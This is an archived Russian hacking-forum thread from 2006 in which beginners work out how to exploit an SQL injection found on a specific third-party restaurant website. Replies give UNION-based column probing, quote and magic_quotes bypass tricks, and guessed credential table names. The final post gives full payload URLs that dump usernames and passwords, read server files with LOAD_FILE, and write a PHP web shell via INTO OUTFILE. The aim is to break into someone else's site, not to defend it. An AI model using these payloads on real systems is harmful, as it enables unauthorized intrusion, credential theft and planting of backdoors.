Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

[Как] Заюзать sql-inj

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Для начинающих] >> [Как] Заюзать sql-inj
Имя
Сообщение << Старые топики   Новые топики >>
[Как] Заюзать sql-inj - 2006-05-09 03:39:27   
De}{is

Сообщений: 137
Оценки: 0
Присоединился: 2005-11-22 11:21:42
Нашел на одном сайте бажный запрос:


http://www.ышеу.gm/?datbases=Restaurants&enume=2''

Результат:

Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in /home/httpd/html/include/class_pub_php5.php on line 793

Что ето все означает и можно ли с этого что-то получить? Как я понял, mysql_fetch_assoc() создает какие-то там массивы и вставить туда левый запрос не получтся… Я прав или нет, подскажите плз.
Post #: 1
[Как] Заюзать sql-inj - 2006-05-19 18:51:57   
Dimonelite

Сообщений: 348
Оценки: 0
Присоединился: 2005-12-05 20:55:07
про такую функцию, честно говоря, я слышу впервой - mysql_fetch_assoc, может ты имел ввиду mysql_fetch_array()?
попробуй в параметре подставлять что-то типа
-1' union select 1,1,1…,1/*
кол-во единиц нужно подбирать до тех пор, пока не исчезнет ошибка. подберешь - молодец, а если нет…
Post #: 2
[Как] Заюзать sql-inj - 2006-05-19 21:00:45   
Lex_Voodoo

Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
mysql_fetch_assoc() оперирует готовым дескриптором MySQL, т.е. уже после выполнения запроса. И посему к SQL-inj никакого отношения не имеет. Эта ошибка говорит лишь о криворукости разработчиков. Тебе нужна ошибка, которую генерит ф-я mysq_query()
Судя по пути используется какой-то класс, в котором эта ф-я вызывается как @mysql_query, т.е. все сообщения об ошибках давятся, поэтому найти именно в этом месте что-то полезное вряд ли получится.
Post #: 3
[Как] Заюзать sql-inj - 2006-05-20 03:48:33   
Сhaos_Сode

Сообщений: 1049
Оценки: 0
Присоединился: 2006-01-12 11:54:12
quote:

—————-<BR>Цитата: Дата:19.05.2006 21:00:45, Автор:Lex_Voodoo ::
mysql_fetch_assoc() оперирует готовым дескриптором MySQL, т.е. уже после выполнения запроса. И посему к SQL-inj никакого отношения не имеет. &amp;amp;#1069;та ошибка говорит лишь о криворукости разработчиков. Тебе нужна ошибка, которую генерит ф-я mysq_query()<BR><BR>Судя по пути используется какой-то класс, в котором эта ф-я вызывается как @mysql_query, т.е. все сообщения об ошибках давятся, поэтому найти именно в этом месте что-то полезное вряд ли получится.
—————-



Чушь полная.. Причем не отпостил сразу, т.к. думал, что Лекс такого бреда не напишет. Я эту тему тока щас увидел. Отношение тут прямое. mysql_query() вызывает Fatal Error только в том случае - если не смогла отправить запрос, т.е. не было подключения к БД. А на результат запроса ей грубо говоря насрать. Вернее при ошибочном запросе mysql_query() возвращает false и простейший вариант грамотного кода мог выглядеть так:

$result = mysql_query($query) or die('Incorrect query');
$array = @mysql_fetch_assoc($result);

А вот mysql_fetch_assoc() при ошибочном запросе и неграмотном коде получает неправильный дескриптор - я хз, помойму ваще пустой результат или код ошибки MySQL. И вот как раз надо через union, как было описано выше подбирать число стобцов: enume=1' union select 1,1,1…,1/*. Причем пробовать как с кавычкой так и без нее. Т.к. еще не ясно, как составляется запрос, и обрамляется ли в нем $enume или как она там называется, кавычками. И когда ошибка перестанет вылетать, тогда число столбцов подобрано. Также стоит узнать о версии MySQL и настройках пхп - safemode, magic_quotes_gpc . Это важно. Хостеры такую инфу предоставляют. Узнать хостера сайта можно через domainsdb.net.
А Dimonelite не обладает надлежащими знаниями пхп, т.к. знает толко об одной функции обработки результата запроса [sm=2.gif]

Если magic_quotes_gpc = off - попробуй залить шелл через select .. into outfile 'путь к файлу';

лучше подбирай через null, то есть select null, null,…
Я щас не помню названия этих типов данных, но есть, которые могут не принять целочисленные значения.
Post #: 4
[Как] Заюзать sql-inj - 2006-05-20 09:33:51   
Lex_Voodoo

Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
Мда… Насчёт @mysql_query я погорячился, видимо постоянное общение с БД только через классы вредно :)
Конечно же, ошибка, которая генерится MySQL при вызове mysql_query берётся из mysql_error()
Суть не в этом, ошибки запроса-то не выводятся. Как ты собираешься получать названия таблиц? А названия столбцов?
Максимум, что даст твой SELECT null,null… - количество столбцов в таблице.

Кстати, это:
mysql_query() вызывает Fatal Error только в том случае - если не смогла отправить запрос, т.е. не было подключения к БД
тоже бред )) Никакой Fatal Error она не вызывает. Fatal Error вообще случается только в тех случаях, когда дальнейшая работа скрипта невозможна, причём тут какой-то запрос к БД?

&gt;&gt; А вот mysql_fetch_assoc() при ошибочном запросе и неграмотном коде получает неправильный дескриптор - я хз, помойму ваще пустой результат или код ошибки MySQL
Если mysql_query() возвращает false, то mysql_fetch_assoc() получает соответственно bool(false), вместо mysql resource, это же очевидно..
Post #: 5
[Как] Заюзать sql-inj - 2006-05-20 19:17:03   
Сhaos_Сode

Сообщений: 1049
Оценки: 0
Присоединился: 2006-01-12 11:54:12
Да, там warning, а не Fatal Error [sm=2.gif], ошибся.

Как ты собираешься получать названия таблиц? А названия столбцов?
Сложно, но можно =) http://rst.void.ru/papers/mysql_char_brute.txt
На практике правда не юзал ;)
Идеально, если магические кавычки отключены. Тогда можно залить шелл.

Если mysql_query() возвращает false, то mysql_fetch_assoc() получает соответственно bool(false), вместо mysql resource, это же очевидно

А если возвращает true? [sm=2.gif]
Post #: 6
[Как] Заюзать sql-inj - 2006-05-21 06:51:03   
Dimonelite

Сообщений: 348
Оценки: 0
Присоединился: 2005-12-05 20:55:07
http://www.yegoo.gm/?datbases=Restaurants&enume=2
вот ссылка, нашел через гугл. Правильное кол-во столбцов у меня подобрать не получилось, nmap версию mysql не говорит. Может там вообще mysql 3.x и тогда union работать не будет…
Post #: 7
[Как] Заюзать sql-inj - 2006-05-21 06:53:09   
Dimonelite

Сообщений: 348
Оценки: 0
Присоединился: 2005-12-05 20:55:07
[sm=bomb.gif]
Post #: 8
[Как] Заюзать sql-inj - 2006-05-21 08:47:17   
gepeBo

Сообщений: 78
Оценки: 0
Присоединился: 2006-01-21 23:28:22
во пЕрвых строках своего письма :)
mysql_fetch_assoc() возвращает ассоциативный массив
теперь, как разобраться с кавычкой:
достаточно подставить '/* в конец запроса (http://www.ышеу.gm/?datbases=Restaurants&enume=2'/*)
тогда если параметр обнесен кавычками, то запрос выполнится без ошибок, т.к. последняя кавычка коментируется. И еще числа в подавляющем большенстве случаев не обрамляются кавычками.
далее, вопрос по поводу имен столбцов и таблиц. Чаще всего из sql-inj получают хеш, или, если повезет, сам пароль. Здесь наверняка подойдут стандартные имена таблиц (user,users,login,logins,auth и т.п.) и столбцов (user,name,username,login для имени и password,passwd,pass,pswd для пароля).
К тому же, если повезет, можно попытаться залить шелл(используя into outfile 'name') если юзер БД имеет на то права, читать файлы (испольлзуя функцию LOAD_FILE('name')), просмотреть таблицу mysql.user

PS если magic_quotes включена и параметр обрамлен кавычками то уже ничего не попишешь

PPS если magic_quotes включена, но параметр не обрамлен - вместо 'name' можно использовать 0x6e616d65 (можно получить с помощью "0x".bin2hex($param) в PHP, где в $param кладется необходимая строка уже без кавычек)

PPPS примеры запросов :
http://www.ышеу.gm/?datbases=Restaurants&enume=2 union select 1,name,password,4,5 from user/*
http://www.ышеу.gm/?datbases=Restaurants&enume=2 union select 1,LOAD_FILE('/home/httpd/html/include/class_pub_php5.php'),3,4,5/*
здесь принципиально важно знать полный путь
http://www.ышеу.gm/?datbases=Restaurants&enume=2 union select 1,2,3,4,'<?system($yo);?>' into outfile '/home/httpd/html/include/laza.php'
здесь также принципиально важно знать полный путь

PPPPS устал
Post #: 9
Страниц:  [1]
Все форумы >> [Для начинающих] >> [Как] Заюзать sql-inj







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.